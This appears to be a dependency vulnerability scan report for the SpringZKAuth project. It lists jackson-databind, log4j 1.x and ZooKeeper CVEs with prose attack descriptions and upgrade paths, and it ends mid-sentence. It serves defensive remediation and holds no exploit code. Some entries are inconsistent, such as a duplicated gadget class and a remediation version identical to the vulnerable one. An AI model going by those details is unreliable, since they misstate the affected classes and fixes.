Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A malicious user could perform a SSRF attack via the axis2-jaxws gadget due to an incomplete fix for the CVE-2017-7525 deserialization flaw.
Note: This vulnerability (CVE-2018-14721) is not identical to CVE-2018-12018, CVE-2018-14719, CVE-2018-14720, CVE-2018-14722,CVE-2018-12023 and CVE-2018-11307.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.5, 2.8.11.3, 2.9.7 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.1.1.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker could perform a Remote Code Execution attacks due to not blocking the jboss-common-core class from polymorphic deserialization.
Note This vulnerability (CVE-2018-19362) is not identical to CVE-2018-19360 and CVE-2018-19361.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.5, 2.8.11.3, 2.9.8 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.1.1.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker could perform a Remote Code Execution attacks due to not blocking the axis2-transport-jms class from polymorphic deserialization.
Note This vulnerability (CVE-2018-19360) is not identical to CVE-2018-19362 and CVE-2018-19361.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.5, 2.8.11.3, 2.9.8 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.1.1.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker could perform a Remote Code Execution attacks due to not blocking the axis2-transport-jms class from polymorphic deserialization.
Note This vulnerability (CVE-2018-19361) is not identical to CVE-2018-19362 and CVE-2018-19360.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.5, 2.8.11.3, 2.9.8 or higher.
References
high severity
- Vulnerable module: log4j:log4j
- Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. CVE-2020-9493 identified a deserialization issue that was present in Apache Chainsaw. Prior to Chainsaw V2.0 Chainsaw was a component of Apache Log4j 1.2.x where the same issue exists.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.
Remediation
There is no fixed version for log4j:log4j.
References
high severity
- Vulnerable module: log4j:log4j
- Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. JMSSink in all versions of Log4j 1.x is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration or if the configuration references an LDAP service the attacker has access to. The attacker can provide a TopicConnectionFactoryBindingName configuration causing JMSSink to perform JNDI requests that result in remote code execution in a similar fashion to CVE-2021-4104.
Note: this issue only affects Log4j 1.x when specifically configured to use JMSSink, which is not the default.
Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.
Remediation
There is no fixed version for log4j:log4j.
References
high severity
- Vulnerable module: log4j:log4j
- Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.
Affected versions of this package are vulnerable to SQL Injection. By design, the JDBCAppender in Log4j 1.2.x accepts an SQL statement as a configuration parameter where the values to be inserted are converters from PatternLayout. The message converter, %m, is likely to always be included. This allows attackers to manipulate the SQL by entering crafted strings into input fields or headers of an application that are logged allowing unintended SQL queries to be executed.
Note: this issue only affects Log4j 1.x when specifically configured to use the JDBCAppender, which is not the default.
Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions. Beginning in version 2.0-beta8, the JDBCAppender was re-introduced with proper support for parameterized SQL queries and further customization over the columns written to in logs.
Remediation
There is no fixed version for log4j:log4j.
References
high severity
- Vulnerable module: org.apache.zookeeper:zookeeper
- Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10
Overview
org.apache.zookeeper:zookeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.
Affected versions of this package are vulnerable to Authorization Bypass Through User-Controlled Key when the SASL Quorum Peer authentication is enabled (`quorum.auth.enableSasl=true), an attacker can bypass the authorization check by omitting the instance part in the SASL authentication ID. This allows an arbitrary endpoint to join the cluster and propagate counterfeit changes to the leader, effectively granting it full read-write access to the data tree.
Note:
This is only exploitable if
quorum.auth.enableSasl=trueis set in the configuration.Quorum Peer authentication is not enabled by default.
Remediation
Upgrade org.apache.zookeeper:zookeeper to version 3.7.2, 3.8.3, 3.9.1 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Denial of Service (DoS) via a large depth of nested objects.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
